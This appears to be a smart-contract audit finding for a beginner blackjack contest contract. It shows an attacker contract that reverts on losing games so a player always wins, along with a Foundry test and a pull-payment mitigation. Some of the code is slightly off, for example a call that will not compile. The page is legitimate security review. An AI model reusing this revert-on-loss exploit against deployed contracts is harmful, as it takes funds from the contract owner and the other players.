TwentyOne

First Flight #29
Beginner FriendlyGameFiFoundrySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Functions `endGame` send eth away from contract but performs no checks on any address. the player can be an attacker contract revert when lose

**Impact:**
This can break the game logic, players can always win the game by creating an attacker.
**Proof of Concept:**
1. create an attacker contract like following:
```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {TwentyOne} from "../../src/TwentyOne.sol";
contract BlackJackAttacker {
TwentyOne private twentyOne;
constructor(address payable _twentyOne) {
twentyOne = TwentyOne(_twentyOne);
}
receive() external payable {}
function startGame() public {
twentyOne.startGame{value: 1 ether}();
}
function attack() public {
uint256 initBalance = address(this).balance;
twentyOne.call();
uint256 finalBalance = address(this).balance;
require(finalBalance > initBalance, "revert if lose");
}
}
  1. PLAYER deposits 1 ether to the attacker contract and call BlackJackAttacker:startGame. Then call BlackJackAttacker:attack.
    Add the following code into TwentyOne.t.sol:

Proof of Code ```solidity import {BlackJackAttacker} from "./mock/BlackJackAttacker.sol"; ... modifier fundTwentyOne() { vm.deal(address(twentyOne), 100 ether); // Fund the contract with 10 ether _; } ... function test_Attacker_never_lose() public fundTwentyOne { vm.startPrank(player1); BlackJackAttacker attacker = new BlackJackAttacker(payable(address(twentyOne))); vm.deal(address(attacker), 10 ether); uint256 initialBalance = address(attacker).balance;
// lose the game and revert
attacker.startGame();
vm.warp(block.timestamp + 1);
vm.expectRevert();
// win the game
attacker.attack();
vm.warp(block.timestamp + 2);
attacker.attack();
uint256 finalBalance = address(attacker).balance;
assertEq(finalBalance, initialBalance + 1 ether);
vm.stopPrank();
}
```

Recommended Mitigation:
Instead of direct transfer eth to the winner, game can store the payout first and lock it for a few blocks, then winners need to manually call withdraw to get the payout.

+ uint256 private constant PAYOUT_WAITING_BLOCKS = 10;
+ mapping(address => uint256) private payoutEther;
+ mapping(address => uint256) private minBlockCanWithdraw;
...
function endGame(address player, bool playerWon) internal {
delete playersDeck[player].playersCards; // Clear the player's cards
delete dealersDeck[player].dealersCards; // Clear the dealer's cards
delete availableCards[player]; // Reset the deck
lockedPayoutEther -= PAYOUT;
if (playerWon) {
- payable(player).transfer(2 ether); // remove this line
+ payoutEther[player] += PAYOUT;
+ minBlockCanWithdraw[player] = block.number + PAYOUT_WAITING_BLOCKS;
}
}
...
+ function withdraw() public {
+ uint256 amount = payoutEther[msg.sender];
+ require(amount > 0, "no payout available");
+ require(minBlockCanWithdraw[msg.sender] > 0, "no waiting payout");
+ require(block.number >= minBlockCanWithdraw[msg.sender], "waiting for blocks");
+ minBlockCanWithdraw[msg.sender] = 0;
+ payoutEther[msg.sender] = 0;
+ payable(msg.sender).transfer(amount);
+ emit FeeWithdrawn(msg.sender, amount);
+ }
Updates

Lead Judging Commences

inallhonesty Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Revert a bad outcome

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.